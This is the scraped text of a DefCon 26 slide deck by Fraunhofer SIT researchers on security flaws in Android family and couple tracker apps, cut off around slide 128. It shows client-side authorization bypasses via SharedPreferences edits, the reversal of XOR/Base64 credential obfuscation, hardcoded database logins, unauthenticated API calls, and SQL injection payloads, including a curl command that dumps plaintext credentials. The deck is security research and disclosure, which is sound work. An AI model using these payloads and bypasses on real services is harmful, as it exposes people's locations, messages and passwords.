All your family secrets belong to us - Worrisome security issues in - - PowerPoint PPT Presentation

▶
all your family secrets belong to us worrisome security
SMART_READER_LITE
LIVE PREVIEW

All your family secrets belong to us - Worrisome security issues in - - PowerPoint PPT Presentation

Nov 03, 2022 272 likes •1.84k views

All your family secrets belong to us - Worrisome security issues in tracker apps Siegfried Rasthofer | Fraunhofer SIT, Germany Stephan Huber | Fraunhofer SIT, Germany DefCon26, August 11 th 2018 Who are we? Stephan Siegfried Security

slide-1
SLIDE 1

All your family secrets belong to us - Worrisome security issues in tracker apps

Siegfried Rasthofer | Fraunhofer SIT, Germany Stephan Huber | Fraunhofer SIT, Germany DefCon26, August 11th 2018

slide-2
SLIDE 2

Who are we?

§ Head of department Secure Software Engineering § PhD, M.Sc., B.Sc. in computer science § Static and dynamic code analysis § Founder of @TeamSIK and @CodeInspect § Security researcher @Testlab Mobile Security § Code analysis tool development § IOT stuff § Founder of @TeamSIK

Siegfried Stephan

2

slide-3
SLIDE 3

Who are we?

Siegfried Stephan

3

§ Head of department Secure Software Engineering § PhD, M.Sc., B.Sc. in computer science § Static and dynamic code analysis § Founder of @TeamSIK and @CodeInspect § Security researcher @Testlab Mobile Security § Code analysis tool development § IOT stuff § Founder of @TeamSIK

slide-4
SLIDE 4

Acknowledgements

4

§ Alexander Traud § Benedikt Hiemenz § Daniel Hitzel § Julien Hachenberger § Julius Näumann § Kevin Steinbach § Michael Tröger § Philipp Roskosch § Sebald Ziegler § Steven Arzt

slide-5
SLIDE 5

Beer Announcement

5

slide-6
SLIDE 6

Agenda

§ Motivation § Background Information § Client-Side Authorization § Client-Side and Communication Vulnerabilities § Server-Side Vulnerabilities § Responsible Disclosure Process § Summary

6

slide-7
SLIDE 7

Agenda

§ Motivation § Background Information § Client-Side Authorization § Client-Side and Communication Vulnerabilities § Server-Side Vulnerabilities § Responsible Disclosure Process § Summary

7

slide-8
SLIDE 8

Surveillance - Then

1960: Radio receiver inside pipe 1970: Microphone inside a dragonfly

* Source: http://www.businessinsider.com/

1960: Camera inside a pack of cigarettes

8

slide-9
SLIDE 9

Surveillance - Now

Spyware/RAT

9

slide-10
SLIDE 10

Surveillance - Now Benign Reasons?

Spyware/RAT

10

slide-11
SLIDE 11

Surveillance - Now Benign Reasons?

Family Couple Friends

11

slide-12
SLIDE 12

Good vs. Bad

Family Couple Friends Spyware/RAT

12

slide-13
SLIDE 13

Surveillance - Apps

*Android Security Report 2017

Google Play Store

13

slide-14
SLIDE 14

How well is the collected data protected?

14

slide-15
SLIDE 15

App Name Google Play Store Installations Couple Tracker App 5-10 m My Family GPS Tracker KidControll GPS Tracker Rastrear Celular Por el Numero Phone Tracker By Number Couple Vow Real Time GPS Tracker Ilocatemobile 1-5m Family Locator (GPS) Free Cell Tracker Rastreador de Novia Phone Tracker Free Phone Tracker Pro Rastreador de Celular Avanzado 100-500k Rastreador de Novia Localiser un Portable avec son Numero 50-100k Handy Orten per Handynr 10-50k Track My Family 1k

15

slide-16
SLIDE 16

App Name Google Play Store Installations Couple Tracker App 5-10 m My Family GPS Tracker KidControll GPS Tracker Rastrear Celular Por el Numero Phone Tracker By Number Couple Vow Real Time GPS Tracker Ilocatemobile 1-5m Family Locator (GPS) Free Cell Tracker Rastreador de Novia Phone Tracker Free Phone Tracker Pro Rastreador de Celular Avanzado 100-500k Rastreador de Novia Localiser un Portable avec son Numero 50-100k Handy Orten per Handynr 10-50k Track My Family 1k

16

slide-17
SLIDE 17

Takeaways

It is very easy to… § Enable premium features without paying § Access highly sensitive data of a person § Perform mass surveillance in real-time

17

slide-18
SLIDE 18

Agenda

§ Motivation § Background Information § Client-Side Authorization § Client-Side and Communication Vulnerabilities § Server-Side Vulnerabilities § Responsible Disclosure Process § Summary

18

slide-19
SLIDE 19

How does it work? – Very simple

push Observer Monitored Person pull Tracking Provider (back-end/cloud)

19

slide-20
SLIDE 20

What kind of data?

push Observer Monitored Person pull

TEXT

20

slide-21
SLIDE 21

What kind of data?

push Observer Monitored Person pull

TEXT

21

slide-22
SLIDE 22

Attack Vectors

push Observer Monitored Person pull

22

slide-23
SLIDE 23

Attack Vectors

push Observer Monitored Person pull

23

slide-24
SLIDE 24

Attack Vectors

push Observer Monitored Person pull

24

slide-25
SLIDE 25

Agenda

§ Motivation § Background Information § Client-Side Authorization § Client-Side and Communication Vulnerabilities § Server-Side Vulnerabilities § Responsible Disclosure Process § Summary

25

slide-26
SLIDE 26

101

  • 1. Authentication Process
  • 2. Authorization Process

Observer

26

slide-27
SLIDE 27

WTF?

  • 1. Authentication Process

Observer

27

slide-28
SLIDE 28

WTF?

  • 1. Authentication Process
  • 2. Client-Side Authorization

Observer

28

slide-29
SLIDE 29

WTF 1/4 – Enable Premium Features

29

slide-30
SLIDE 30

WTF 1/4 – Enable Premium Features

boolean removeAd = SharedPref.getBoolean("l_ads", false) if(removeAd) { this.setVisibility(View.GONE); } else { ... }

30

slide-31
SLIDE 31

WTF 1/4 – Enable Premium Features

/data/data/com.bettertomorrowapps.spyyourlovefree/ shared_prefs/loveMonitoring.xml <boolean name="l_location_full" value="false" /> <boolean name="l_fb_full" value="false" /> <boolean name="l_loc" value="false" /> <boolean name="l_sms" value="false" /> <boolean name="l_ads" value="false" /> <boolean name="l_sms_full" value="false" /> <boolean name="l_call" value="false" /> <boolean name="l_fb" value="false" />

boolean removeAd = SharedPref.getBoolean("l_ads", false) if(removeAd) { this.setVisibility(View.GONE); } else { ... }

31

slide-32
SLIDE 32

SharedPreferences Backup/Restore

§ Rooted device:

1. copy loveMonitoring.xml from app folder to pc 2. modify file, set false to true 3. copy back and overwrite orig. file with modified file

§ Unrooted device:

adb backup adb restore convert * modify file

*https://github.com/nelenkov/android-backup-extractor

adb tool

32

slide-33
SLIDE 33

WTF 1/4 – Enable Premium Features

/data/data/com.bettertomorrowapps.spyyourlovefree/ shared_prefs/loveMonitoring.xml <boolean name="l_location_full" value="false" /> <boolean name="l_fb_full" value="false" /> <boolean name="l_loc" value="false" /> <boolean name="l_sms" value="false" /> <boolean name="l_ads" value="false" /> <boolean name="l_sms_full" value="false" /> <boolean name="l_call" value="false" /> <boolean name="l_fb" value="false" />

33

slide-34
SLIDE 34

WTF 1/4 – Enable Premium Features

/data/data/com.bettertomorrowapps.spyyourlovefree/ shared_prefs/loveMonitoring.xml <boolean name="l_location_full" value="false" /> <boolean name="l_fb_full" value="false" /> <boolean name="l_loc" value="false" /> <boolean name="l_sms" value="false" /> <boolean name="l_ads" value="false" /> <boolean name="l_sms_full" value="false" /> <boolean name="l_call" value="false" /> <boolean name="l_fb" value="false" />

34

slide-35
SLIDE 35

WTF 1/4 – Enable Premium Features

  • 1. Give me all text messages

Observer

35

slide-36
SLIDE 36

WTF 1/4 – Enable Premium Features

  • 1. Give me all text messages
  • 2. Ok: msg1, msg2, msg3, …

Observer

36

slide-37
SLIDE 37

WTF 1/4 – Enable Premium Features

  • 1. Give me all text messages

if(getBoolean(“l_sms_full”) == false) { String[] msgs = getAllMsgs(); … singleMsg = msgs[i].substring(0, 50); } else { //return complete text messages }

  • 2. Ok: msg1, msg2, msg3, …

Observer

37

  • 3. Client “Authorization” Check
slide-38
SLIDE 38

WTF 1/4 – Enable Premium Features

  • 1. Give me all text messages

if(getBoolean(“l_sms_full”) == false) { String[] msgs = getAllMsgs(); … singleMsg = msgs[i].substring(0, 50); } else { //return complete text messages }

  • 2. Ok: msg1, msg2, msg3, …

Observer

38

  • 3. Client “Authorization” Check
slide-39
SLIDE 39

WTF 2/4 – Admin Privileges

  • App supports two modes:
  • parent (controller/administration)
  • children (monitored)
  • Administrator can create new Administrators
  • Administrator can monitor all children

39

slide-40
SLIDE 40

WTF 2/4 – Admin Privileges

  • App supports two modes:
  • parent (controller/administration)
  • children (monitored)
  • Administrator can create new Administrators
  • Administrator can monitor all children

????

40

slide-41
SLIDE 41

WTF 2/4 – Admin Privileges

  • App supports two modes:
  • parent (controller/administration)
  • children (monitored)
  • Administrator can create new Administrators
  • Administrator can monitor all children

<boolean name="isLogin" value="true" /> <boolean name="isParent" value="true" />

41

slide-42
SLIDE 42

WTF 3/4 - Remove Lockscreen

42

slide-43
SLIDE 43

WTF 3/4 - Remove Lockscreen

§ After app start the lock screen asks for pin

????

43

slide-44
SLIDE 44

Remove Lockscreen

§ After app start the lock screen asks for pin § To remove the lock screen, change SharedPreference value from true to false

<boolean name="pflag" value="true" /> <boolean name="pflag" value="false" />

44

slide-45
SLIDE 45

WTF 4/4 – Authentication Bypass

§ Same works with login, no password required

<boolean name="isLogin" value="false" /> <boolean name="isLogin" value="true" />

45

slide-46
SLIDE 46

Do not use SharedPreferences for authorization checks!!

46

slide-47
SLIDE 47

Agenda

§ Motivation § Background Information § Client-Side Authorization § Client-Side and Communication Vulnerabilities § Server-Side Vulnerabilities § Responsible Disclosure Process § Summary

47

slide-48
SLIDE 48

Mitm Attack

user/app tracking provider (back-end/cloud) DATA DATA

48

slide-49
SLIDE 49

Mitm Attack

user/app tracking provider (back-end/cloud) DATA DATA

49

slide-50
SLIDE 50

Mitm Attack

user/app tracking provider (back-end/cloud) DATA DATA

50

slide-51
SLIDE 51

Mitm Attack

user/app tracking provider (back-end/cloud) DATA DATA

51

slide-52
SLIDE 52

Mitm + Bad Crypto + Obfuscation

??

52

slide-53
SLIDE 53

Mitm + Bad Crypto + Obfuscation

??

user@example.com secure123

53

slide-54
SLIDE 54

Mitm + Bad Crypto + Obfuscation

GET /login/?aaa=Bi9srqo&nch=DzttDRMbYQcAPmUfAGQZHDxOJRMbclZeKQ%3D%3D%0A& tnd=CFF1CxQoaQcoLWoRaQ%3D%3D%0A HTTP/1.1

http://s9.***********.com/login/?aaa...

54

slide-55
SLIDE 55

Mitm + Bad Crypto + Obfuscation

GET /login/? aaa=Bi9srqo& nch=DzttDRMbYQcAPmUfAGQZHDxOJRMbclZeKQ%3D%3D%0A& tnd=CFF1CxQoaQcoLWoRaQ%3D%3D%0A HTTP/1.1

1.

user@example.com secure123

55

slide-56
SLIDE 56

Mitm + Bad Crypto + Obfuscation

GET /login/? aaa=Bi9srqo& nch=DzttDRMbYQcAPmUfAGQZHDxOJRMbclZeKQ%3D%3D%0A& tnd=CFF1CxQoaQcoLWoRaQ%3D%3D%0A HTTP/1.1 GET /login/? ssp=CFF1CxQoaQcoLWoRaQ%3D%3D%0A& eml=4hBWVqJg4D& mix=DzttDRMbYQcAPmUfAGQZHDxOJRMbclZeKQ%3D%3D%0A HTTP/1.1

1. 2.

user@example.com secure123

56

slide-57
SLIDE 57

Mitm + Bad Crypto + Obfuscation

GET /login/? aaa=Bi9srqo& nch=DzttDRMbYQcAPmUfAGQZHDxOJRMbclZeKQ%3D%3D%0A& tnd=CFF1CxQoaQcoLWoRaQ%3D%3D%0A HTTP/1.1 GET /login/? ssp=CFF1CxQoaQcoLWoRaQ%3D%3D%0A& eml=4hBWVqJg4D& mix=DzttDRMbYQcAPmUfAGQZHDxOJRMbclZeKQ%3D%3D%0A HTTP/1.1 GET /login/? psw=-ZI-WQe& amr=DzttDRMbYQcAPmUfAGQZHDxOJRMbclZeKQ%3D%3D%0A& rma=CFF1CxQoaQcoLWoRaQ%3D%3D%0A HTTP/1.1

1. 2. 3.

user@example.com secure123

57

slide-58
SLIDE 58

Mitm + Bad Crypto + Obfuscation

GET /login/? aaa=Bi9srqo& nch=DzttDRMbYQcAPmUfAGQZHDxOJRMbclZeKQ%3D%3D%0A& tnd=CFF1CxQoaQcoLWoRaQ%3D%3D%0A HTTP/1.1 GET /login/? ssp=CFF1CxQoaQcoLWoRaQ%3D%3D%0A& eml=4hBWVqJg4D& mix=DzttDRMbYQcAPmUfAGQZHDxOJRMbclZeKQ%3D%3D%0A HTTP/1.1 GET /login/? psw=-ZI-WQe& amr=DzttDRMbYQcAPmUfAGQZHDxOJRMbclZeKQ%3D%3D%0A& rma=CFF1CxQoaQcoLWoRaQ%3D%3D%0A HTTP/1.1 GET /login/? aaa=ZTZrO& mag=DzttDRMbYQcAPmUfAGQZHDxOJRMbclZeKQ%3D%3D%0A& df=CFF1CxQoaQcoLWoRaQ%3D%3D%0A& data=5JFJzgYW_ HTTP/1.1

1. 2. 3. 4.

user@example.com secure123

58

slide-59
SLIDE 59

Mitm + Bad Crypto + Obfuscation

GET /login/? aaa=Bi9srqo& nch=DzttDRMbYQcAPmUfAGQZHDxOJRMbclZeKQ%3D%3D%0A& tnd=CFF1CxQoaQcoLWoRaQ%3D%3D%0A HTTP/1.1 GET /login/? ssp=CFF1CxQoaQcoLWoRaQ%3D%3D%0A& eml=4hBWVqJg4D& mix=DzttDRMbYQcAPmUfAGQZHDxOJRMbclZeKQ%3D%3D%0A HTTP/1.1 GET /login/? psw=-ZI-WQe& amr=DzttDRMbYQcAPmUfAGQZHDxOJRMbclZeKQ%3D%3D%0A& rma=CFF1CxQoaQcoLWoRaQ%3D%3D%0A HTTP/1.1 GET /login/? aaa=ZTZrO& mag=DzttDRMbYQcAPmUfAGQZHDxOJRMbclZeKQ%3D%3D%0A& df=CFF1CxQoaQcoLWoRaQ%3D%3D%0A& data=5JFJzgYW_ HTTP/1.1

1. 2. 3. 4.

user@example.com secure123

59

slide-60
SLIDE 60

Mitm + Bad Crypto + Obfuscation

GET /login/? aaa=Bi9srqo& nch=DzttDRMbYQcAPmUfAGQZHDxOJRMbclZeKQ%3D%3D%0A& tnd=CFF1CxQoaQcoLWoRaQ%3D%3D%0A HTTP/1.1 GET /login/? ssp=CFF1CxQoaQcoLWoRaQ%3D%3D%0A& eml=4hBWVqJg4D& mix=DzttDRMbYQcAPmUfAGQZHDxOJRMbclZeKQ%3D%3D%0A HTTP/1.1 GET /login/? psw=-ZI-WQe& amr=DzttDRMbYQcAPmUfAGQZHDxOJRMbclZeKQ%3D%3D%0A& rma=CFF1CxQoaQcoLWoRaQ%3D%3D%0A HTTP/1.1 GET /login/? aaa=ZTZrO& mag=DzttDRMbYQcAPmUfAGQZHDxOJRMbclZeKQ%3D%3D%0A& df=CFF1CxQoaQcoLWoRaQ%3D%3D%0A& data=5JFJzgYW_ HTTP/1.1

1. 2. 3. 4.

user@example.com secure123

60

slide-61
SLIDE 61

Mitm + Bad Crypto + Obfuscation

'k', 'c', '#', 'a', 'p', 'p', '#', 'k', 'e', 'y', '#'

61

slide-62
SLIDE 62

Mitm + Bad Crypto + Obfuscation

DzttDRMbYQcAPmUfAGQZHDxOJRMbclZeKQ== Base64 'k', 'c', '#', 'a', 'p', 'p', '#', 'k', 'e', 'y', '#' user@example.com

@

XOR

62

slide-63
SLIDE 63

Mitm + Bad Crypto + Obfuscation

mag = DzttDRMbYQcAPmUfAGQZHDxOJRMbclZeKQ%3D%3D%0A amr = DzttDRMbYQcAPmUfAGQZHDxOJRMbclZeKQ%3D%3D%0A mix = DzttDRMbYQcAPmUfAGQZHDxOJRMbclZeKQ%3D%3D%0A nch = DzttDRMbYQcAPmUfAGQZHDxOJRMbclZeKQ%3D%3D%0A Base64 {nl, bhf, mag, bdt, qac, trn, amr, mix, nch} Random() “=“ + + 'k', 'c', '#', 'a', 'p', 'p', '#', 'k', 'e', 'y', '#' user@example.com

@

XOR

63

slide-64
SLIDE 64

Mitm + Bad Crypto + Obfuscation

mag = DzttDRMbYQcAPmUfAGQZHDxOJRMbclZeKQ%3D%3D%0A CFF1CxQoaQcoLWoRaQ%3D%3D%0A = tnd CFF1CxQoaQcoLWoRaQ%3D%3D%0A = ssp CFF1CxQoaQcoLWoRaQ%3D%3D%0A = rma CFF1CxQoaQcoLWoRaQ%3D%3D%0A = df amr = DzttDRMbYQcAPmUfAGQZHDxOJRMbclZeKQ%3D%3D%0A mix = DzttDRMbYQcAPmUfAGQZHDxOJRMbclZeKQ%3D%3D%0A nch = DzttDRMbYQcAPmUfAGQZHDxOJRMbclZeKQ%3D%3D%0A XOR Base64 {nl, bhf, mag, bdt, qac, trn, amr, mix, nch} Random() “=“ + +

{df, ssp, fgh, drt, tnd, rfb, rma, vwe, hac}

secure123

********

Random() “=“ + + 'k', 'c', '#', 'a', 'p', 'p', '#', 'k', 'e', 'y', '#' user@example.com

@

XOR Base64

64

slide-65
SLIDE 65

Mitm + Bad Crypto + Obfuscation

CFF1CxQoaQcoLWoRaQ== DzttDRMbYQcAPmUfAGQZHDxOJRMbclZeKQ== decode Base64 decode Base64

65

slide-66
SLIDE 66

Mitm + Bad Crypto + Obfuscation

CFF1CxQoaQcoLWoRaQ== DzttDRMbYQcAPmUfAGQZHDxOJRMbclZeKQ== XOR decode Base64 secure123

********

'k', 'c', '#', 'a', 'p', 'p', '#', 'k', 'e', 'y', '#' user@example.com

@

XOR decode Base64

66

slide-67
SLIDE 67

Mitm + Bad Crypto + Obfuscation

@

********

GET /login/? aaa=Bi9srqo& nch=DzttDRMbYQcAPmUfAGQZHDxOJRMbclZeKQ%3D%3D%0A& tnd=CFF1CxQoaQcoLWoRaQ%3D%3D%0A data=5JFJzgYW_ HTTP/1.1

{usr, psw, uid, data, eml, pss, foo, clmn, count, nam, srv, answ, aaa } Random() “=“ + + GenerateRandomString()

67

slide-68
SLIDE 68

68

slide-69
SLIDE 69

Correct Secure Communication

§ Use https via TLS 1.2 or TLS 1.3 § Valid server certificate

69

slide-70
SLIDE 70

Correct Secure Communication

§ Use https via TLS 1.2 or TLS 1.3 § Valid server certificate § Implementation in Android:

URL url = new URL("https://wikipedia.org"); URLConnection urlConnection = url.openConnection(); val url = URL("https://wikipedia.org") val urlConnection: URLConnection = url.openConnection()

Java:

https://developer.android.com/training/articles/security-ssl#java

Kotlin:

70

slide-71
SLIDE 71

“Authentication“

71

slide-72
SLIDE 72

“Authentication“

… Message message = new Message(); try { Class.forName("com.mysql.jdbc.Driver"); Connection con = DriverManager. getConnection( ); try { …

72

slide-73
SLIDE 73

“Authentication“

… Message message = new Message(); try { Class.forName("com.mysql.jdbc.Driver"); Connection con = DriverManager. getConnection("jdbc:mysql://mysql.r*****************r.mobi/r*************06", "r*************06", "t**********b"); try { …

73

slide-74
SLIDE 74

“Authentication“

… Message message = new Message(); try { Class.forName("com.mysql.jdbc.Driver"); Connection con = DriverManager. getConnection("jdbc:mysql://mysql.r*****************r.mobi/r*************06", "r*************06", "t**********b"); try { …

database address username

74

slide-75
SLIDE 75

“Authentication“

… Message message = new Message(); try { Class.forName("com.mysql.jdbc.Driver"); Connection con = DriverManager. getConnection("jdbc:mysql://mysql.r*****************r.mobi/r*************06", "r*************06", "t**********b"); try { …

database address username password

75

slide-76
SLIDE 76

“Authentication“

§ MySQL Database with following table scheme:

Field Type Null Key Default Extra nome varchar(50) NO NULL email varchar(30) NO NULL latitude varchar(30) NO NULL longitude varchar(30) NO NULL data varchar(30) NO NULL hora varchar(30) NO NULL codrenavam varchar(30) NO NULL placa Varchar(30) NO PRI NULL

76

slide-77
SLIDE 77

“Authentication“

… Message message = new Message(); try { Class.forName("com.mysql.jdbc.Driver"); Connection con = DriverManager. getConnection("jdbc:mysql://mysql.r*****************r.mobi/r*************06", "r*************06", "t**********b"); try { …

database address username password

All in all we had access to over 860.000 location data of different users, distributed over the whole world.

77

slide-78
SLIDE 78

Is that all ?

78

slide-79
SLIDE 79

Prepared Statement? WTF!

… Message message = new Message(); try { Class.forName("com.mysql.jdbc.Driver"); Connection con = DriverManager. getConnection("jdbc:mysql://mysql.r*****************r.mobi/r*************06", "r*************06", "t**********b"); try { PreparedStatement prest = con.prepareStatement("insert rastreadorpessoal values(?)");

79

slide-80
SLIDE 80

Prepared Statement? WTF!

… Message message = new Message(); try { Class.forName("com.mysql.jdbc.Driver"); Connection con = DriverManager. getConnection("jdbc:mysql://mysql.r*****************r.mobi/r*************06", "r*************06", "t**********b"); try { PreparedStatement prest = con.prepareStatement("insert rastreadorpessoal values(?)"); prest.executeUpdate("insert into rastreadorpessoal values('" + this.atributos.getNome() + "', '" + this.atributos.getEmail() + "', '" + this.atributos.getLatitudeStr() + "', '" + this.atributos.getLongitudeStr() + "', '" + this.atributos.getDataBancoStr() + "', '" + this.atributos.getHoraBancoStr() + "', '" + this.atributos.getRenavam() + "', '" + this.atributos.getPlaca() + "')"); prest.close(); con.close(); …

80

slide-81
SLIDE 81

Prepared Statement? WTF!

… Message message = new Message(); try { Class.forName("com.mysql.jdbc.Driver"); Connection con = DriverManager. getConnection("jdbc:mysql://mysql.r*****************r.mobi/r*************06", "r*************06", "t**********b"); try { PreparedStatement prest = con.prepareStatement("insert rastreadorpessoal values(?)"); prest.executeUpdate("insert into rastreadorpessoal values('" + this.atributos.getNome() + "', '" + this.atributos.getEmail() + "', '" + this.atributos.getLatitudeStr() + "', '" + this.atributos.getLongitudeStr() + "', '" + this.atributos.getDataBancoStr() + "', '" + this.atributos.getHoraBancoStr() + "', '" + this.atributos.getRenavam() + "', '" + this.atributos.getPlaca() + "')"); prest.close(); con.close(); …

81

slide-82
SLIDE 82

Stupid !

82

slide-83
SLIDE 83

Agenda

§ Motivation § Background Information § Client-Side Authorization § Client-Side and Communication Vulnerabilities § Server-Side Vulnerabilities § Responsible Disclosure Process § Summary

83

slide-84
SLIDE 84

101

  • 1. Authentication Process
  • 2. Authorization Process

Observer

84

slide-85
SLIDE 85

WTF-States of Server-Side Vulnerabilties

85

slide-86
SLIDE 86

86

”That‘s a feature”

slide-87
SLIDE 87

Not a Bug it‘s a Feature

§ Web service provides public access to user tracks, allow all by default

87

slide-88
SLIDE 88

Not a Bug it‘s a Feature

§ Web service provides public access to user tracks, allow all by default

88

slide-89
SLIDE 89

Not a Bug it‘s a Feature

https://www.greenalp.com/realtimetracker/index.php?viewuser=USERNAME

89

slide-90
SLIDE 90

Demo Time !

90

slide-91
SLIDE 91

Is that all ?

91

slide-92
SLIDE 92

Public Webinterface

92

slide-93
SLIDE 93

Authentication – What?

93

slide-94
SLIDE 94

Part1: Who Needs Authentication?

http://***********g.azurewebsites.net/trackapplochistory.aspx?userid=********&childid=2***** ***0&currentdate=07/12/2017

94

slide-95
SLIDE 95

Part1: Who Needs Authentication?

http://***********g.azurewebsites.net/trackapplochistory.aspx?userid=********&childid=2***** ***0&currentdate=07/12/2017

nothing new

95

slide-96
SLIDE 96

Part1: Who Needs Authentication?

http://***********g.azurewebsites.net/trackapplochistory.aspx?userid=********&childid=2***** ***0&currentdate=07/12/2017

your user id nothing new

96

slide-97
SLIDE 97

Part1: Who Needs Authentication?

http://***********g.azurewebsites.net/trackapplochistory.aspx?userid=********&childid=2***** ***0&currentdate=07/12/2017

id of the person to track nothing new

97

your user id

slide-98
SLIDE 98

Part1: Who Needs Authentication?

http://***********g.azurewebsites.net/trackapplochistory.aspx?userid=********&childid=2***** ***0&currentdate=07/12/2017

id of the person to track requested date nothing new

98

your user id

slide-99
SLIDE 99

Part1: Who Needs Authentication?

attacker tracker back-end Response for http://***********g.azurewebsites.net/... 07:47 PM*49.8715330929084,8.639047788304 07:52 PM*49.8731935027927,8.63498598738923 07:53 PM*49.871533247265,8.63904788614738 … List of the complete track

99

slide-100
SLIDE 100

Part1: Who Needs Authentication?

100

slide-101
SLIDE 101

Part2: Who Needs Authentication?

§ Text message feature § How do we get the messages for a user?

101

slide-102
SLIDE 102

Part2: Who Needs Authentication?

§ Text message feature § How do we get the messages for a user?

attacker tracker back-end POST /***************/api/get_sms HTTP/1.1 {"cnt":"100","user_id":"123456"} result counter

102

slide-103
SLIDE 103

Part2: Who Needs Authentication?

§ Text message feature § There is no authentication!

attacker tracker back-end List of text msg with:

  • user_id
  • timestamp
  • content
  • phone number

103

slide-104
SLIDE 104

Part2: Who Needs Authentication?

§ What happens if user_id is empty?

attacker tracker back-end POST /***************/api/get_sms HTTP/1.1 {"cnt":"100","user_id":""}

104

slide-105
SLIDE 105

Part2: Who Needs Authentication?

§ What happens if user_id is empty?

attacker tracker back-end All messages of all users!

TEXT TEXT TEXT TEXT TEXT

105

slide-106
SLIDE 106

SQL – Very Simple

106

slide-107
SLIDE 107

Back-end Attack to Track all User

http://*********/FindMyFriendB/fetch_family.php?mobile=<mobile number>

back-end API extraction

107

slide-108
SLIDE 108

Back-end Attack to Track all User

[{"to_username":“*****","to_mobile":"9********9","lat":"*0.2916455"," lon":"7*.0521764","time":"12:0,27-12-2016"}]

http://*********/FindMyFriendB/fetch_family.php?mobile=<mobile number>

back-end API extraction

108

slide-109
SLIDE 109

Simple SQL Injection

http://*********/FindMyFriendB/fetch_family.php?mobile=' or '' ='

back-end API extraction

109

slide-110
SLIDE 110

Simple SQL Injection

back-end API extraction

[{"to_username":“***","to_mobile":"9********4","lat":"2*.644490000000005","lon":"*8.35368","time":"18:55,04-12- 2016"},{"to_username":“****","to_mobile":"9******9","lat":“*0.2916455","lon":“*8.0521764","time":"12:0,27-12- 2016"},{"to_username":“****","to_mobile":"9********2","lat":“*3.8710253","lon":“*5.6093338","time":"18:6,19-11- 2016"},{"to_username":“****","to_mobile":"9*******2","lat":“*6.5958902","lon":"-*7.3897167","time":"13:46,04-12- 2016"},{"to_username":“****","to_mobile":"9*******0","lat":“*2.621241065689713","lon":“*8.33497756126259","time":"9:2 5,20-11-2016"},{"to_username":“****","to_mobile":"4********1","lat":“*1.8925267","lon":"-*1.3928747","time":"3:26,12- 022017"},{"to_username":"","to_mobile":"","lat":"","lon":"","time":""},{"to_username":“***","to_mobile":"9********8", "lat":“*5.262387837283313","lon":“*4.10851701162755","time":"23:47,20-11- 2016"},{"to_username":“****","to_mobile":"9*******6","lat":"0","lon":"0","time":"12:35"},{"to_username":“***","to_mob ile":"8********5","lat":“*5.3401165","lon":“*5.1459643","time":"8:45,21-11- 2016"},{"to_username":“****","to_mobile":"8********8","lat":"0","lon":"0","time":"0:32"},{"to_username":“****","to_mo bile":"9********2","lat":“*2.4393024","lon":"-*5.0414924","time":"23:0,20-11- 2016"},{"to_username":“****","to_mobile":"9********8","lat":“*2.4386613","lon":"-*5.0398665","time":"7:14,21-11- 2016"},{"to_username":“****","to_mobile":"8********6","lat":“*3.7005867","lon":“*6.9793598","time":"17:33,24-12- 2016"},{"to_username":“****","to_mobile":"8********5","lat":“*2.584631","lon":“*8.2787425","time":"20:56,22-11- 2016"},{"to_username":“*****","to_mobile":"8********1","lat":“*2.7993167","lon":“*6.2369126","time":"17:49,26-11- 2016"},{"to_username":“****","to_mobile":"9*******5","lat":“*2.5846746","lon":“*8.2787492","time":"18:28,21-11- 2016"},{"to_username":“***","to_mobile":"8*******7","lat":“*2.4069115","lon":"-*1.1435983",... 110

http://*********/FindMyFriendB/fetch_family.php?mobile=' or '' ='

slide-111
SLIDE 111

SQL - Simple

111

slide-112
SLIDE 112

Accessing Images

§ Cloud storage for images

112

slide-113
SLIDE 113

Accessing Images

§ Cloud storage for images § One cloud for all images

113

slide-114
SLIDE 114

Accessing Images

§ Cloud storage for images § One cloud for all images § User authentication required § Filter corresponding images by user id

114

slide-115
SLIDE 115

Accessing Images

§ Cloud storage for images § One cloud for all images § User authentication required § Filter corresponding images by user id § Bypass cloud authentication to get access to all images

115

slide-116
SLIDE 116

Demo Time!

116

slide-117
SLIDE 117

Get all User Credentials

§ App provides an API and a process for reinstallation of the app 1. App checks if user already has an account 2. Sends device id to the server

POST http://push001.***********/***********/v5/ Content-Type: application/json {"method":"getuserid","deviceid":"c1b86d87ed6f51011c0d53a654f16455"}

117

slide-118
SLIDE 118

Get all User Credentials

§ App provides an API and a process for reinstallation of the app 1. App checks if user already has an account 2. Sends device id to the server 3. Server checks if id exists and responses with: username, password and email

POST http://push001.***********/***********/v5/ Content-Type: application/json {"method":"getuserid","deviceid":"c1b86d87ed6f51011c0d53a654f16455"}

118

slide-119
SLIDE 119

Attack Strategy

§ Spoofing the device id will deliver us credentials § BUT device id generation is relative complex and guessing is unlikely

119

slide-120
SLIDE 120

Attack Strategy

§ Spoofing the device id will deliver us credentials § BUT device id generation is relative complex and guessing is unlikely § Empty id trick does not work L

POST http://push001.***********/***********/v5/ Content-Type: application/json {"method":"getuserid","deviceid":" "}

120

slide-121
SLIDE 121

Attack Strategy

§ Spoofing the device id will deliver us credentials § BUT device id generation is relative complex and guessing is unlikely § Empty id trick does not work L § Let‘s try SQL injection again J

POST http://push001.***********/***********/v5/ Content-Type: application/json {"method":"getuserid","deviceid":" ' or 1=1 limit 1 offset 5 -- "}

121

slide-122
SLIDE 122

SQL-Injection

§ Curl Command:

curl -H "Content-Type: application/json" -X POST

  • d "{\"method\":\"getuserid\",

\"deviceid\":\" ' or 1=1 limit 1 offset 5 -- \"}" http://push001.***********/*********/v5/

122

slide-123
SLIDE 123

SQL-Injection

§ Curl Command: § Result:

curl -H "Content-Type: application/json" -X POST

  • d "{\"method\":\"getuserid\",

\"deviceid\":\" ' or 1=1 limit 1 offset 5 -- \"}" http://push001.***********/*********/v5/ {"result":"success", "id":"yb*****","pass":"y********4","email":"y*****@hanmail.net"} plaintext password

123

slide-124
SLIDE 124

SQL-Injection

§ Curl Command: § Result:

curl -H "Content-Type: application/json" -X POST

  • d "{\"method\":\"getuserid\",

\"deviceid\":\" ' or 1=1 limit 1 offset 6 -- \"}" http://push001.***********/*********/v5/ {"result":"success", "id":"se*****","pass":"qwe*******4","email":"se*****@gmail.com"} plaintext password iterate over the offset

124

slide-125
SLIDE 125

SQL-Injection

§ Curl Command:

curl -H "Content-Type: application/json" -X POST

  • d "{\"method\":\"getuserid\",

\"deviceid\":\" ' or 1=1 limit 1 offset 1700400 -- \"}" http://push001.***********/*********/v5/ iterate over the offset

> 1.700.000 plaintext credentials

125

slide-126
SLIDE 126

126

WTF?

slide-127
SLIDE 127

Firebase

https://firebase.google.com/ 127

slide-128
SLIDE 128

Authentication Misconfiguration

attacker tracker back-end POST /*******celltracker/api/login HTTP/1.1 {"user_email":"foo@bar.com"} victim email

128

slide-129
